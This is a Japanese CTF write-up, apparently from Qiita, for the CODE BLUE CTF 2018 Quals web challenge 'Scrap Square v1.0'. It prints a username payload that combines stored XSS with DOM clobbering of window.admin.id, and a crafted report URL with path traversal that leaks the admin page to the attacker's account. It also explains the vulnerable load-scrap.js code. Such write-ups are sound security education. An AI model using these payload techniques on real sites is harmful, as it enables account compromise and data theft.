Help us understand the problem. What is going on with this article?

CODE BLUE CTF 2018 Quals Write-up

More than 1 year has passed since last update.

CODE BLUE CTF 2018 Quals に チーム m1z0r3 として参加しました。

Scrap Square v1.0 という問題を解いたので、忘れないうちに Write-up を書きます。

Scrap Square v1.0

メモを記録するアプリケーション。ソースコードも渡される。ユーザ登録ができ、問題のあるメモは Admin に報告することができる。

image.png

解答

適当なユーザ(uid: uid1)を作成して、その後

<form name="admin" id="[uid1]"></form>
<script src="/static/javascripts/load-scrap.js"></script>
<script src="/static/javascripts/report-scrap.js"></script>
<script src="/static/javascripts/periodically-watch-scrap-body-and-report-scrap-automatically-with-banword.js"></script>
<!-- 

というユーザ名でユーザ(uid: uid2)を登録し、

http://v10.scsq.task.ctf.codeblue.jp:3000/scraps/[uid2]/hoge?fuga=../..

という URL を報告すると、最初に作成したユーザに admin のトップページの情報が報告される。

あとは、

http://v10.scsq.task.ctf.codeblue.jp:3000/reports

を見ると、admin のトップページの情報からメモのタイトルの一覧がわかるので、

http://v10.scsq.task.ctf.codeblue.jp:3000/admin/[Title]

にアクセスすると FLAG が手に入る。

解説

■ ポイント1: ユーザ名に関して

<form name="admin" id="[uid1]"></form>
<script src="/static/javascripts/load-scrap.js"></script>
<script src="/static/javascripts/report-scrap.js"></script>
<script src="/static/javascripts/periodically-watch-scrap-body-and-report-scrap-automatically-with-banword.js"></script>
<!-- 
  • ユーザ名はサニタイズされないため XSS 利用可能。
  • periodically-watch-scrap-body-and-report-scrap-automatically-with-banword.js をロードすることで、自動で reportScrap() が実行される。
  • reportScrap() では window.admin.id 宛に報告されるので、 DOM Clobbering によって window.admin.id の値を自分の UID に書き換える。
  • のちにロードされる config.js によって window.admin.id の値が書き換えられるのを阻止するために最後にコメントアウトする。
  • コメントアウトにより、必要な JS ファイルもロードされなくなってしまうので、必要なファイルはあらかじめロードする。

■ ポイント2: 報告する URL に関して

http://v10.scsq.task.ctf.codeblue.jp:3000/scraps/[uid2]/hoge?fuga=../..

という URL を報告すると、最初に作成したユーザに admin のトップページの情報が報告される。

load-scrap.js を見ると、現在の URL を / で区切って、 usertitle を取得して GET する URL を組み立てている。

load-scrap.js
const urls = location.href.split('/')
const user = urls[urls.length - 2]
const title = urls[urls.length - 1]

// ...

$.get(`/static/raw/${user}/${title}`)
  .then(c => {
    const scrapBody = $('<pre class="scrap-body">')
    scrapBody.text(c)
    $('.scrap-wrapper').append(scrapBody)
  })

例えば http://v10.scsq.task.ctf.codeblue.jp:3000/scraps/hoge/fuga?piyo=../.. という URL の場合には、 /static/raw/../.. という URL(つまり / )を load してくる。

この URL を報告することにより、 load-scrap.js は admin のトップページの情報を取得して HTML に反映する。

koki-sato
ソフトウェア&ネットワークエンジニア。学生時代は Increments 社で Qiita を開発したり、趣味で CTF をやっていました。
https://koki-sato.com
internetmultifeed
インターネットエクスチェンジサービス「JPNAP」および、IPv6 ISPローミングサービス「transix」を提供しているネットワークサービスの会社です。
https://www.mfeed.ad.jp
Why not register and get more from Qiita?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away